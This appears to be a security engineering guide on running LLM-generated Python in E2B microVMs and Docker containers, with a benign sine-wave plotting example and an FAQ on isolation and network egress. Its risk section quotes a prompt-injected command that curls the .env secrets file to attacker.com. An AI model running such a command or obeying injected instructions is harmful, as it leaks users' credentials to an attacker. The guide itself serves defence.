Secure Code Execution Sandboxes for AI: Running LLM-Generated Python in E2B and Docker

Overview #

A security engineering guide on safely executing AI-generated Python, Bash, and JavaScript code using isolated microVMs (such as E2B and Firecracker) and ephemeral Docker containers to prevent host compromise and data exfiltration.

The Security Risk of LLM Code Execution #

Prompting an AI model to write and execute code (like OpenAI Advanced Data Analysis) introduces severe vulnerabilities: prompt injections can instruct the model to execute os.system('curl attacker.com/leak --data-binary @.env'), spawn fork bombs, or mount host filesystem volumes. Running AI-generated code directly on production servers is an existential security threat.

MicroVM Sandboxing (E2B and AWS Firecracker) #

Unlike standard Docker containers that share the host Linux kernel, microVM technologies (such as E2B, Modal, and Firecracker) spin up hardware-virtualized lightweight Linux VMs in under 150 milliseconds. Each execution runs on a dedicated virtualized kernel with strict CPU/memory limits, ephemeral disk, and configurable network egress isolation.

Returning Charts, Files, and Data Outputs #

Sandboxes allow AI agents to generate pandas analysis, train machine learning models, and create Matplotlib graphs. The sandbox intercepts generated PNG/CSV files and uploads them to secure object storage, returning signed URLs back to the frontend.

Code Example: Executing Python Code Safely in an E2B Sandbox #

from e2b_code_interpreter import Sandbox

# Spawns isolated microVM in ~150ms
with Sandbox() as sandbox:
    code = """
import numpy as np
import matplotlib.pyplot as plt

x = np.linspace(0, 10, 100)
y = np.sin(x)
plt.plot(x, y)
plt.savefig('sin_wave.png')
print("Graph generated successfully.")
"""
    execution = sandbox.run_code(code)
    print("Execution Logs:", execution.logs.stdout)

    # Download generated artifacts securely
    image_bytes = sandbox.files.read_bytes('sin_wave.png')
    print(f"Artifact downloaded: {len(image_bytes)} bytes")

Frequently Asked Questions #

Q: Why isn't standard Docker enough for untrusted AI code?

Docker shares the host kernel; container escapes and kernel privilege escalation exploits (such as Dirty COW) can breach the host. MicroVMs provide true hardware virtualization isolation.

Q: How fast can an E2B sandbox start?

E2B sandboxes initialize from pre-warmed snapshot pools in approximately 100 to 200 milliseconds.

Q: Can I disable internet access inside the sandbox?

Yes, network egress rules can block all outbound traffic to prevent external data exfiltration while allowing code to compute locally.